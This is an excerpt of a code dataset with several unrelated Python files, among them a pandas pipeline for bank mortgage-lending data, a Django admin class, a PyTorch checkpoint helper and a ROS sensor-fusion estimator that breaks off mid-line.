fieldnames=[\"first_name\", \"last_name\", \"email\", \"attachment\", \"internalTicketId\"], delimiter=\";\", extrasaction=\"ignore\")\n#for t in ticket_orders:\n#    t.get_and_save_ticket(soap_client, png_directory, api_params)\n#    t.render_template(png_directory, env, template, args.output_directory)\n#    out_writer.writerow(t.dict_for_csv())\n","sub_path":"retrieve_tickets.py","file_name":"retrieve_tickets.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"112224985","text":"import numpy as np\nimport matplotlib.pyplot as plt;\nf = open('test.txt', 'r')\ncontent = [x.strip('\\n') for x in f.readlines()]\ny = []\nfor i in content:\n    if i != '':\n        y.append(int(i))\nx = list(range(1,len(y)+1))\nplt.figure(figsize(8,6))\nplt.plot(x,y,\"c.-\",label=\"$test$\",linewidth = 2,marker='o',\n         markerfacecolor='blue', markersize=5)\nplt.xlabel(\"input\")\nplt.ylabel(\"output\")\nplt.xlim(0,20)\nplt.ylim(0,18)\n#網格\n#plt.grid()\nplt.legend()\nplt.show()\n","sub_path":"graphic_read.py","file_name":"graphic_read.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"32492512","text":"# Setup the df \n''' This script makes the final df (before data cleaning). \n    \n    Final df: MSA-lender-level dataset per year\n'''\n\n#------------------------------------------------------------\n# Load packages and set working directory\n#------------------------------------------------------------\n\n# Set working directory\nimport os\nos.chdir(r'/data/p285325/WP2_distance/')\n#os.chdir(r'D:/RUG/PhD/Materials_papers/2-Working_paper_competition/Data')\n\n# Load packages\nimport numpy as np\nimport pandas as pd\nimport multiprocessing as mp # For parallelization\nfrom joblib import Parallel, delayed # For parallelization\n\n#------------------------------------------------------------\n# Parameters\n#------------------------------------------------------------\n\nstart = 2010\nend = 2017\n#num_cores = mp.cpu_count()\nnum_cores = 12\n\n#------------------------------------------------------------\n# Setup necessary functions\n#------------------------------------------------------------\n\n# Function for parallelization pandas read_csv for the HMDA data\ndef readHMDA(year):\n    \n    filename = 'data_hmda_{}.csv'.format(year)\n    \n    return (pd.read_csv(filename, dtype = {'msamd':'str', 'fips':'str'}))\n    \n# Merge SDI LF   \ndef mergeSDILF(year):\n       \n    ## Merge on year\n    df_load = df_sdi[df_sdi.date == year].merge(df_lf,\\\n                            how = 'left', left_on = 'cert',\\\n                            right_on = 'CERT{}'.format(str(year)[2:4]))\n    \n    \n    ## Return concatenated pd DataFrame\n    return (df_load)\n\n#------------------------------------------------------------\n# Load all dfs that do not need to be read in the loop\n#------------------------------------------------------------\n\n# df MSA\ndf_msa = pd.read_csv('data_msa_popcenter.csv', index_col = 0, dtype = {'fips':'str','cbsa_code':'str'}) \n          \n# SOD df\ndf_sod = pd.read_csv('df_sod_wp2.csv', index_col = 0, dtype = {'fips':'str'})\n\n# df SDI\ndf_sdi = pd.read_csv('df_sdi_wp2.csv', dtype = {'cert':'float64'})\n\n# df LF\n## Prelims\nvars_lf = ['hmprid'] + ['CERT{}'.format(str(year)[2:4]) for year in range(start, end +1)]\n\n## Load df LF\ndf_lf = pd.read_csv('hmdpanel17.csv', usecols = vars_lf)\n\n# Merge df SDI and df LF   \nif __name__ == \"__main__\":\n    list_sdilf = Parallel(n_jobs=num_cores)(delayed(mergeSDILF)(year) for year in range(start,end + 1)) \n\n## Concat to pd DataFrame\ndf_sdilf = pd.concat(list_sdilf, ignore_index = True)\n\n## Drop CERT.. columns and drop nans in hmprid\ndf_sdilf = df_sdilf[df_sdilf.columns[~df_sdilf.columns.str.contains('CERT')]].dropna(subset = ['hmprid'])\n\n# Load HMDA\nif __name__ == \"__main__\":\n    list_hmda = Parallel(n_jobs=num_cores)(delayed(readHMDA)(year) for year in range(start,end + 1)) \n\n## Concat to pd DataFrame\ndf_hmda = pd.concat(list_hmda, ignore_index = True) \n\n# Make main df\ndf_main = df_sdilf.merge(df_hmda, how = 'left', left_on = ['date','hmprid'],\\\n                             right_on = ['date','respondent_id'])\n\n# Load min_distances df\ndf_mindist = pd.read_csv('data_min_distances.csv', dtype = {'fips':'str'})\n\n## Take log of min_distances\ndf_mindist['log_min_distance'] = np.log(df_mindist.min_distance + 1)\n\n#------------------------------------------------------------\n# Aggregate to MSA-lender level\n#------------------------------------------------------------\n# Only keep MSA that are in the df_msa\ndf_main = df_main[df_main.fips.isin(df_msa.fips.unique())]\n\n# Remove all certs in df_main that are not in df_sod\ndf_main = df_main[df_main.cert.isin(df_sod.cert)]\n  \n# Merge distance on fips and cert\ndf_main = df_main.merge(df_mindist, how = 'left', on = ['fips','cert'])\n\n# add MSA level variables on FIPS\n# Add vars from SOD to df_msa\ndensity = df_sod.groupby(['date','fips']).fips.count().rename('density').to_frame()\ndf_msa = df_msa.merge(density, how = 'left', left_on = ['date','fips'], right_on = [density.index.get_level_values(0), density.index.get_level_values(1)])\n\nhhi = df_sod.groupby(['date','fips']).depsumbr.apply(lambda x: ((x / x.sum())**2).sum()).rename('hhi').to_frame()\ndf_msa = df_msa.merge(hhi, how = 'left', left_on = ['date','fips'], right_on = [hhi.index.get_level_values(0), hhi.index.get_level_values(1)])\n\n## HMDA vars\nln_mfi = df_main.groupby(['date','fips']).hud_median_family_income.mean().rename('ln_mfi').to_frame()\ndf_msa = df_msa.merge(ln_mfi, how = 'left', left_on = ['date','fips'], right_on = [ln_mfi.index.get_level_values(0), ln_mfi.index.get_level_values(1)])\n\ndum_min = df_main.groupby(['date','fips']).minority_population.apply(lambda x: (x.mean() > 0.5) * 1).rename('dum_min').to_frame()\ndf_msa = df_msa.merge(dum_min, how = 'left', left_on = ['date','fips'], right_on = [dum_min.index.get_level_values(0), dum_min.index.get_level_values(1)])\n\n# from df_msa\ndf_main = df_main.merge(df_msa, how = 'left', on = ['date','fips'])\n\n#------------------------------------------------------------\n# Aggregate data to MSA-lender-level\n\n# Setup functions to parallelize functions\n## Wrapper\ndef applyParallel(dfGrouped, func):\n    retLst = Parallel(n_jobs = num_cores)(delayed(func)(group) for name, group in dfGrouped)\n    return pd.concat(retLst)\n\n## Percentage\ndef tmpPerc(df, col_name):\n    return (np.sum(df[col_name]) / len(df[col_name]))\n    \n## Loan sales on value\ndef tmpLSVal(df, col_name):\n    return(np.sum(df[col_name] * df.ln_loanamout) / np.sum(df.ln_loanamout))\n    \n## Loan sales dummy\ndef tmpLSDum(df, col_name):\n    return((df[col_name].sum() > 0.0) * 1)\n    \n# Group the data\ndf_grouped = df_main.groupby(['date','cert','msamd'])    \n\n# 1) Aggregate portfolio-specific variables\ndf_agg = df_grouped[['lti','ln_loanamout','ln_appincome','log_min_distance',\\\n'density', 'ln_pop', 'ln_mfi', 'hhi', 'dum_min']].mean()\n\nif __name__ == '__main__':\n    df_agg['subprime'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'subprime') for name, group in df_grouped)\n    df_agg['secured'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'secured') for name, group in df_grouped)\n\n    # 2) Add Loan sales variables\n    ## Fraction based on number of loans   \n    df_agg['ls_num'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'ls') for name, group in df_grouped)\n    df_agg['ls_gse_num'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'ls_gse') for name, group in df_main.groupby(['date','cert','msamd']))\n    df_agg['ls_priv_num'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'ls_priv') for name, group in df_main.groupby(['date','cert','msamd']))\n    df_agg['sec_num'] = Parallel(n_jobs = num_cores)(delayed(tmpPerc)(group, 'sec') for name, group in df_main.groupby(['date','cert','msamd']))\n\n    ## Fraction based on value of loans\n    df_agg['ls_val'] = Parallel(n_jobs = num_cores)(delayed(tmpLSVal)(group, 'ls') for name, group in df_grouped)\n    df_agg['ls_gse_val'] = Parallel(n_jobs = num_cores)(delayed(tmpLSVal)(group, 'ls_gse') for name, group in df_grouped)\n    df_agg['ls_priv_val'] = Parallel(n_jobs = num_cores)(delayed(tmpLSVal)(group, 'ls_priv') for name, group in df_grouped)\n    df_agg['sec_val'] = Parallel(n_jobs = num_cores)(delayed(tmpLSVal)(group, 'sec') for name, group in df_grouped)\n     \n## Dummy\n    df_agg['ls_dum' ] = Parallel(n_jobs = num_cores)(delayed(tmpLSDum)(group, 'ls') for name, group in df_grouped)\n    df_agg['ls_gse_dum' ] = Parallel(n_jobs = num_cores)(delayed(tmpLSDum)(group, 'ls_gse') for name, group in df_grouped)\n    df_agg['ls_priv_dum' ] = Parallel(n_jobs = num_cores)(delayed(tmpLSDum)(group, 'ls_priv') for name, group in df_grouped)\n    df_agg['sec_dum' ] = Parallel(n_jobs = num_cores)(delayed(tmpLSDum)(group, 'sec') for name, group in df_grouped)\n\n# 3) Bank/Thrift level controls\n## Reset index before merge\ndf_agg.reset_index(inplace = True)\n    \n## add ln_ta, ln_emp and bank indicator\ndf_agg = df_agg.merge(df_sdi[['date','cert','cb','ln_ta','ln_emp']],\\\n                      how = 'left', on = ['date','cert'])\n\n## Add number of branches\nnum_branches = df_sod.groupby(['date','cert']).cert.count().rename('num_branch').to_frame()\ndf_agg = df_agg.merge(num_branches, how = 'left', left_on = ['date','cert'],\\\n                      right_on = [num_branches.index.get_level_values(0), num_branches.index.get_level_values(1)])\n\n# Add average lending distance per MSA\ndistance_msa = df_main.groupby(['date','msamd']).log_min_distance.mean().rename('mean_distance').to_frame()\ndf_agg = df_agg.merge(distance_msa, how = 'left', left_on = ['date','msamd'], right_on = [distance_msa.index.get_level_values(0), distance_msa.index.get_level_values(1)])\n\n#------------------------------------------------------------\n# Save df_agg\n# Make list of which columns to keep\n\n# Save\ndf_agg.to_csv('data_agg.csv', index = False)","sub_path":"Setup_df_v4.py","file_name":"Setup_df_v4.py","file_ext":"py","file_size_in_byte":8708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"378516223","text":"from django.contrib import admin\nfrom django.utils.html import format_html\nfrom ..models.Category import Category\nfrom ..models.SourceType import SourceType\nfrom django.conf import settings\n\n\n@admin.register(Category)\nclass AdminCategory(admin.ModelAdmin):\n    list_display = [\n        'icon_url',\n        'title',\n        'created_at',\n        'number_of_products'\n    ]\n    \n\n    def icon_url(self, obj):\n        if obj.icon_source == SourceType.URL:\n            return format_html(\n                '<img src=\"{0}\" height=30 width=30 />',\n                obj.url\n            )\n        elif obj.icon_source == SourceType.UPLOAD:\n            return format_html(\n                '<img src=\"{0}{1}\" height=30 width=30 />',\n                settings.MEDIA_URL,\n                obj.file\n            )\n    icon_url.short_description = \"Icon\"","sub_path":"myweb/stars/admin/AdminCategory.py","file_name":"AdminCategory.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"351134619","text":"# checkpoints.py\n\nimport os\nfrom pathlib import Path\nimport torch\n\nclass Checkpoints:\n    def __init__(self,args):\n        self.dir_save = args.save\n        self.dir_load = args.resume\n        self.best_state = {}\n        self.best_epoch = 0\n        self.best_saved = False\n\n        if os.path.isdir(self.dir_save) == False:\n            os.makedirs(self.dir_save)\n\n    def latest(self, name):\n        if name == 'resume':\n            if self.dir_load == None:\n                return []\n            else:\n                return [i for i in self.dir_load.keys()]\n\n    def keep(self, epoch, model):\n        for name, m in model.items():\n            self.best_state[name] = m.state_dict()\n            self.best_epoch = epoch\n\n        self.best_saved = False\n        return None\n\n    def save(self, epoch=None, model=None, best=False):\n        if model:\n            #if best:\n            for name, m in model.items():\n                    #torch.save(m.state_dict(), '%s/%s-model_epoch_%04d.pth' % (self.dir_save, name, epoch))\n                #torch.save(m, '%s/%s-model_epoch_%04d.pth' % (self.dir_save, name, epoch))\n                torch.save(m.state_dict(), '%s/%s-model_epoch_%04d.pth' % (self.dir_save, name, epoch))\n        else:\n            if not self.best_saved:\n                for name, m in self.best_state.items():\n                    torch.save(m, '%s/%s-model_epoch_%04d.pth' % (self.dir_save, name, self.best_epoch))\n                    self.best_saved = True\n\n\n        return None\n\n    def load(self, model):\n        # Load the latest save if given directory\n        if Path(self.dir_load[model]).is_dir():\n            filename = sorted(list(Path(self.dir_load[model]).glob(model+'*')))[-1]\n        # If given file, load the file\n        elif Path(self.dir_load[model]).is_file():\n            filename = self.dir_load[model]\n        else:\n            raise FileNotFoundError(f\"Invalid resume path specified for {model}\")\n        if os.path.isfile(filename):\n            print(\"=> loading checkpoint '{}'\".format(filename))\n            model = torch.load(str(filename))\n        else:\n            print(\"=> no checkpoint found at '{}'\".format(filename))\n            raise FileNotFoundError(f\"Invalid resume path specified for {filename}\")\n\n        return model\n","sub_path":"Final_Project/scripts/checkpoints.py","file_name":"checkpoints.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"247260816","text":"import random\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--src', type=str)\nparser.add_argument('--tgt', type=str)\n\nargs = parser.parse_args()\n\nall = []\nfor file in os.listdir(f'XLM/{args.src}'):\n    try:\n        with open(args.backSrc, 'r') as f:\n            all += f.readlines()\n    except:\n        continue\n\nrandom.shuffle(all)\n\nwith open(f'XLM/{args.tgt}', 'w') as f:\n    f.write(''.join(allS))\n","sub_path":"MT_Implementation/translation/MASS-unmt/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"188194512","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n\tlong_description = fh.read()\n\nsetup(\n\tname='skiply',\n\tversion='0.7.5',\n\tdescription='Skiply Library',\n\turl='https://github.com/skiplyfrance/skiply.git',\n\tauthor='Caroline Bouchat',\n\tauthor_email='caroline@skiply.fr',\n    packages=find_packages(),\n    namespace_packages=['skiply'],\n\tzip_safe=False)","sub_path":"pypi_install_script/skiply-0.7.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"160649654","text":"# Python program to read \r\n# json file  \r\nimport json \r\n  \r\n# Opening JSON file \r\nf = open('countries.json',) \r\n  \r\n# returns JSON object as  \r\n# a dictionary \r\ndata = json.load(f) \r\n  \r\n# Iterating through the json \r\n# list \r\nfor i in data: \r\n    print(i['name'])\r\n  \r\n# Closing file \r\nf.close() \r\n","sub_path":"script3.py","file_name":"script3.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"101284144","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom scipy.spatial.transform import Rotation as R\nimport rospy\nimport numpy as np\nimport math\nimport time\nimport matplotlib.pyplot as plt\nfrom scipy import signal\n# from scipy.optimize import *\nfrom geometry_msgs.msg import TwistStamped\nfrom geometry_msgs.msg import PoseStamped\nfrom geometry_msgs.msg import Pose\nfrom sensor_msgs.msg import Imu\nfrom nlink_parser.msg import LinktrackNodeframe3\nfrom geometry_msgs.msg import Vector3Stamped\nfrom matplotlib import pyplot as plt  # 用来绘制图形\nimport threading\nimport copy\nfrom scipy import signal\n\n\nclass LNode():\n    def __init__(self):\n        self.data = None\n        self.next = None\n\n\nclass MyQueue():\n    # 分配头结点\n    def __init__(self):\n        self.pHead = None  # pHead指向队列首元素\n        self.pEnd = None  # pEnd指向队列尾元素\n\n    # 判断队列是否为空，如果为空返回true，否则返回false\n    def empty(self):\n        self.pHead = None\n        self.pEnd = None\n\n    # 获取队列中元素个数\n    def size(self):\n        size = 0\n        p = self.pHead\n        while p != None:\n            p = p.next\n            size += 1\n        return size\n\n    # 入队列：把元素e加到队列尾\n    def enQueue(self, e):\n        p = LNode()\n        p.data = copy.deepcopy(e)\n        p.next = None\n        if self.pHead == None:\n            self.pHead = self.pEnd = p\n        else:\n            self.pEnd.next = p\n            self.pEnd = p\n\n    # 获取队首元素，不删除\n    def getHead(self):\n        if self.pHead == None:\n            print(\"获取队列首元素失败，队列已为空！\")\n            return None\n        return self.pHead\n\n    # 出队列，删除队首元素\n    def getFront(self):\n        if self.pHead == None:\n            print(\"获取队列首元素失败，队列已为空！\")\n            return None\n        newhead = self.pHead.next\n        self.pHead = newhead\n\n    # 取得队列尾元素\n    def getBack(self):\n        if self.pEnd == None:\n            print(\"获取队列尾元素失败，队列已经为空\")\n            return None\n        return self.pEnd.data\n\n    def showData(self):\n        print(\"show begin\")\n        print(self.size())\n        print(\"+++++++++++++++++++++++\")\n        print(self.pHead.data)\n        print(self.pEnd.data)\n        print(\"+++++++++++++++++++++++\")\n\n\n\n    # 将队列转化为3*15数组\n    def toArray(self):\n        sz = self.size()\n        vec = np.ones((3, sz))\n        count = self.pHead\n        for i in range(sz):\n            vec[0][i] = count.data.vector.x\n            vec[1][i] = count.data.vector.y\n            vec[2][i] = count.data.vector.z\n            count = count.next\n        return vec\n\n    # 将队列转化为6*15数组\n    def toArray3(self):\n        sz = self.size()\n        vec = np.zeros((6, sz))\n        count = self.pHead\n        for i in range(sz):\n            vec[0][i] = count.data[0]\n            vec[1][i] = count.data[1]\n            vec[2][i] = count.data[2]\n            vec[3][i] = count.data[3]\n            vec[4][i] = count.data[4]\n            vec[5][i] = count.data[5]\n            count = count.next\n        return vec\n\n    def toArray2(self):\n        sz = self.size()\n        vec = np.zeros((3, sz))\n        lt = []\n        count = self.pHead\n        for i in range(sz):\n            vec[0][i] = count.data.vector.x\n            vec[1][i] = count.data.vector.y\n            vec[2][i] = count.data.vector.z\n            lt.append(count.data.header.stamp)\n            count = count.next\n        return vec,lt\n\n\n    # 获得队尾倒数第二个元素\n    def last2(self):\n        sz = self.size()\n        p = self.pHead\n        for i in range(sz - 2):\n            p = p.next\n        return p\n\n    # 将3*15数组值重新赋值给队列\n    def reSign(self, vec):\n        # vec2 = Vector3Stamped()\n        # for i in range(15):\n        #     self.enQueue(vec2)\n        count = self.pHead\n        for i in range(15):\n            count.data.vector.x = vec[0][i]\n            count.data.vector.y = vec[1][i]\n            count.data.vector.z = vec[2][i]\n            count = count.next\n\n    # 将6*15数组值重新赋值给队列\n    def reSign2(self, vec):\n        vec2 = np.zeros((6, 1))\n        for i in range(15):\n            self.enQueue(vec2)\n        count = self.pHead\n        for i in range(15):\n            count.data[0] = vec[0][i]\n            count.data[1] = vec[1][i]\n            count.data[2] = vec[2][i]\n            count.data[3] = vec[3][i]\n            count.data[4] = vec[4][i]\n            count.data[5] = vec[5][i]\n            count = count.next\n\n    # 清除到指定队列值之前所有队列\n    def clear(self, p):\n        while (self.pHead != p):\n            self.pHead = self.pHead.next\n        self.pHead = self.pHead.next\n\n\n\nclass mhe:\n\n    def __init__(self):\n        rospy.on_shutdown(self.cleanup)\n        \"\"\" \n        文件写入\n        ######################################################################## \n\n        estimate.txt    IMU估计\n        observe.txt     视觉观测\n        mhe.txt         mhe估计\n        vicon.txt       真值\n        \"\"\"\n        self.estimate = open('/home/mm/zzw/data_analysis/estimate.txt', mode='w')\n        self.observe = open('/home/mm/zzw/data_analysis/observe.txt', mode='w')\n        self.mhe = open('/home/mm/zzw/data_analysis/mhe.txt', mode='w')\n        self.mhe_vel = open('/home/mm/zzw/data_analysis/mhe_vel.txt', mode='w')\n        self.vicon = open('/home/mm/zzw/data_analysis/vicon.txt', mode='w')\n        self.vicon_vel = open('/home/mm/zzw/data_analysis/vicon_vel.txt', mode='w')\n        self.estimate_vel = open('/home/mm/zzw/data_analysis/estimate_vel.txt', mode='w')\n        self.observe_vel = open('/home/mm/zzw/data_analysis/observe_vel.txt', mode='w')\n        \"\"\" \n        话题回调\n        ######################################################################## \n\n        /mavros/imu/data    IMU\n        /camera_detect     视觉观测\n        /mocap/pose_01      真值\n        \"\"\"\n        self.imu = rospy.Subscriber(\"/mavros/imu/data\", Imu, self.callback)\n        self.servo_vel = rospy.Subscriber(\"/servo/velocity\", Vector3Stamped, self.servo_vel_callback)\n        self.vision_pose = rospy.Subscriber(\"/camera_servo_detect\", PoseStamped, self.callback1)\n        self.mocap = rospy.Subscriber(\"/mocap/pose\", PoseStamped, self.callback2)\n        self.mocap_vel = rospy.Subscriber(\"/mocap/vel\", TwistStamped, self.callback3)\n        self.imu_weight = 1\n        self.vis_weight = 1\n\n\n        ########################## Initial index ############################\n        self.single_imu_31 = Vector3Stamped()\n        self.observe_pos_31 = Vector3Stamped()\n        self.observe_vel_31 = Vector3Stamped()\n        self.vicon_pos_31 = Vector3Stamped()\n        self.vicon_vel_31 = Vector3Stamped()\n        self.index = 0\n        self.index2 = 0\n        self.imu_last = Imu()\n        self.initial_vicon_x = 0.0\n        self.initial_vicon_y = 0.0\n        self.initial_vicon_z = 0.0\n\n        self.initial_obs_x = 0.0\n        self.initial_obs_y = 0.0\n        self.initial_obs_z = 0.0\n        self.flag = True\n        ##### mhe zoom ######\n        self.zoom = 15\n        self.delta_tt = 0.0\n        self.vel_all = MyQueue()\n        #####################################################################\n        self.zoom_imu_acce = MyQueue()\n        self.temp_imu_acce = MyQueue()\n        self.observe_pos_315 = MyQueue()\n        self.observe_vel_315 = MyQueue()\n        self.estimate_by_state_transform_615 = MyQueue()\n        self.zoom_mhe_615 = MyQueue()\n        #####################################################################\n        self.estimate_by_state_transform61 = np.zeros((6, 1))\n        self.x = np.ones((6, 1))\n        self.y = np.ones((6, 1))\n\n    def save_txt(self):\n\n        self.estimate.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                    self.estimate_by_state_transform_615.getBack()[0][0],\n                                                    self.estimate_by_state_transform_615.getBack()[1][0],\n                                                    self.estimate_by_state_transform_615.getBack()[2][0]))\n\n        self.observe.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                    self.observe_pos_315.getBack().vector.x,\n                                                    self.observe_pos_315.getBack().vector.y,\n                                                    self.observe_pos_315.getBack().vector.z))\n        self.mhe.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                self.zoom_mhe_615.getBack()[0][0],\n                                                self.zoom_mhe_615.getBack()[1][0],\n                                                self.zoom_mhe_615.getBack()[2][0]))\n        self.vicon.write('{} {} {} {}\\n'.format(self.vicon_pos_31.header.stamp,\n                                                self.vicon_pos_31.vector.x,\n                                                self.vicon_pos_31.vector.y,\n                                                self.vicon_pos_31.vector.z)) \n\n        self.estimate_vel.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                    self.estimate_by_state_transform_615.getBack()[3][0],\n                                                    self.estimate_by_state_transform_615.getBack()[4][0],\n                                                    self.estimate_by_state_transform_615.getBack()[5][0]))\n\n        self.observe_vel.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                    self.observe_vel_315.getBack().vector.x,\n                                                    self.observe_vel_315.getBack().vector.y,\n                                                    self.observe_vel_315.getBack().vector.z))\n\n\n        self.vicon_vel.write('{} {} {} {}\\n'.format(self.vicon_pos_31.header.stamp,\n                                                self.vicon_vel_31.vector.x,\n                                                self.vicon_vel_31.vector.y,\n                                                self.vicon_vel_31.vector.z))\n    \n        self.mhe_vel.write('{} {} {} {}\\n'.format(self.observe_pos_315.getBack().header.stamp,\n                                                self.zoom_mhe_615.getBack()[3][0],\n                                                self.zoom_mhe_615.getBack()[4][0],\n                                                self.zoom_mhe_615.getBack()[5][0]))\n\n\n    def save_plot_data(self):\n        global vel_pub,pos_pub\n        global obt,obx,oby,obz,obt_vel,obx_vel,oby_vel,obz_vel\n        global vit,viz,vix,viy,vit_vel,vix_vel,viy_vel,viz_vel\n        global estt,estx,esty,estz,estt_vel,estx_vel,esty_vel,estz_vel\n        global mhet,mhex,mhey,mhez,mhet_vel,mhex_vel,mhey_vel,mhez_vel\n\n        mhe_pos_msg = PoseStamped()\n        mhe_pos_msg.header.stamp = self.observe_pos_315.getBack().header.stamp\n        mhe_pos_msg.pose.position.x = self.zoom_mhe_615.getBack()[0][0]\n        mhe_pos_msg.pose.position.y = self.zoom_mhe_615.getBack()[1][0]\n        mhe_pos_msg.pose.position.z = self.zoom_mhe_615.getBack()[2][0]\n        pos_pub.publish(mhe_pos_msg)\n\n        mhe_vel_msg = TwistStamped()\n        mhe_vel_msg.header.stamp = self.observe_pos_315.getBack().header.stamp\n        mhe_vel_msg.twist.linear.x = self.zoom_mhe_615.getBack()[3][0]\n        mhe_vel_msg.twist.linear.y = self.zoom_mhe_615.getBack()[4][0]\n        mhe_vel_msg.twist.linear.z = self.zoom_mhe_615.getBack()[5][0]\n        vel_pub.publish(mhe_vel_msg)\n\n\n        obt.append(self.observe_pos_315.getBack().header.stamp.to_sec())\n        obx.append(self.observe_pos_315.getBack().vector.x)\n        oby.append(self.observe_pos_315.getBack().vector.y)\n        obz.append(self.observe_pos_315.getBack().vector.z)\n\n\n        obt_vel.append(self.observe_vel_315.getBack().header.stamp.to_sec())\n        obx_vel.append(self.observe_vel_315.getBack().vector.x)\n        oby_vel.append(self.observe_vel_315.getBack().vector.y)\n        obz_vel.append(self.observe_vel_315.getBack().vector.z)\n\n\n        estt.append(self.observe_pos_315.getBack().header.stamp.to_sec())\n        estx.append(self.estimate_by_state_transform_615.getBack()[0][0])\n        esty.append(self.estimate_by_state_transform_615.getBack()[1][0])\n        estz.append(self.estimate_by_state_transform_615.getBack()[2][0])\n\n\n        estt_vel.append(self.observe_vel_315.getBack().header.stamp.to_sec())\n        estx_vel.append(self.estimate_by_state_transform_615.getBack()[3][0])\n        esty_vel.append(self.estimate_by_state_transform_615.getBack()[4][0])\n        estz_vel.append(self.estimate_by_state_transform_615.getBack()[5][0])\n\n\n        mhet.append(self.observe_pos_315.getBack().header.stamp.to_sec())\n        mhex.append(self.zoom_mhe_615.getBack()[0][0])\n        mhey.append(self.zoom_mhe_615.getBack()[1][0])\n        mhez.append(self.zoom_mhe_615.getBack()[2][0])\n\n        mhet_vel.append(self.observe_vel_315.getBack().header.stamp.to_sec())\n        mhex_vel.append(self.zoom_mhe_615.getBack()[3][0])\n        mhey_vel.append(self.zoom_mhe_615.getBack()[4][0])\n        mhez_vel.append(self.zoom_mhe_615.getBack()[5][0])\n\n        vit.append(self.vicon_pos_31.header.stamp.to_sec())\n        vix.append(self.vicon_pos_31.vector.x)\n        viy.append(self.vicon_pos_31.vector.y)\n        viz.append(self.vicon_pos_31.vector.z)\n\n        vit_vel.append(self.vicon_vel_31.header.stamp.to_sec())\n        vix_vel.append(self.vicon_vel_31.vector.x)\n        viy_vel.append(self.vicon_vel_31.vector.y)\n        viz_vel.append(self.vicon_vel_31.vector.z)\n        \n\n    def servo_vel_callback(self,servo_vel):\n        if(servo_vel.vector.x>0.01 or servo_vel.vector.y>0.01):\n            print(rospy.Time.now())\n            print(\"weight IMU\")\n            self.imu_weight = 1\n            self.vis_weight = 0\n        else:\n            self.imu_weight = 1\n            self.vis_weight = 1\n\n    #################### mocap_x_11,mocap_y_11,mocap_z_11 賦值 ######\n    def callback2(self, mocap):\n        self.vicon_pos_31.header.stamp = mocap.header.stamp\n        self.vicon_pos_31.vector.x = mocap.pose.position.x\n        self.vicon_pos_31.vector.y = mocap.pose.position.y\n        self.vicon_pos_31.vector.z = mocap.pose.position.z\n\n        # if(self.index2 == 50):\n        #     self.vicon_pos_31.vector.x -= self.initial_vicon_x/50\n        #     self.vicon_pos_31.vector.y -= self.initial_vicon_y/50\n        #     self.vicon_pos_31.vector.z -= self.initial_vicon_z/50\n\n\n\n    def callback3(self,mocap_vel):\n        self.vicon_vel_31.header.stamp = mocap_vel.header.stamp\n        self.vicon_vel_31.vector.x = mocap_vel.twist.linear.x\n        self.vicon_vel_31.vector.y = mocap_vel.twist.linear.y\n        self.vicon_vel_31.vector.z = mocap_vel.twist.linear.z\n    ################# observe_x_11,observe_y_11,observe_z_11 賦值 #########\n\n\n    def callback1(self, pose):\n        self.observe_pos_31.header.stamp = copy.deepcopy(pose.header.stamp)\n        self.observe_pos_31.vector.x = pose.pose.position.x\n        self.observe_pos_31.vector.y = pose.pose.position.y\n        self.observe_pos_31.vector.z = pose.pose.position.z\n        \n        self.observe_vel_31 = copy.deepcopy(self.observe_pos_31)\n        # if(self.index2 == 50):\n        #     self.observe_pos_31.vector.x -= self.initial_obs_x/50\n        #     self.observe_pos_31.vector.y -= self.initial_obs_y/50\n        #     self.observe_pos_31.vector.z -= self.initial_obs_z/50\n\n        self.observe_pos_31.vector.x = self.observe_pos_31.vector.x-4.77114156927+0.02\n        self.observe_pos_31.vector.y = self.observe_pos_31.vector.y-0.0135308501047-0.3\n        self.observe_pos_31.vector.z = self.observe_pos_31.vector.z+0.54913092589-0.1\n\n\n        # self.observe_pos_31.vector.x = self.observe_pos_31.vector.x\n        # self.observe_pos_31.vector.y = self.observe_pos_31.vector.y\n        # self.observe_pos_31.vector.z = self.observe_pos_31.vector.z\n\n\n    def callback(self, imu):\n        self.imu_last = imu\n        # single_imu_31 賦值\n        imu_data = np.array([[0], [0], [0]])\n        imu_data[0][0] = imu.linear_acceleration.x\n        imu_data[1][0] = imu.linear_acceleration.y\n        imu_data[2][0] = imu.linear_acceleration.z\n        # 初始位姿相對於地磁場的旋轉矩陣\n        origin_r = R.from_quat([-0.0151541761012, -0.0014991266006, 0.549382398096, -0.835432273873])\n        origin_rotate_inv = origin_r.inv().as_matrix()\n        # 任意時刻相對於地磁場的旋轉矩陣\n        moving_r = R.from_quat([imu.orientation.x, imu.orientation.y, imu.orientation.z, imu.orientation.w])\n        moving_rotate = 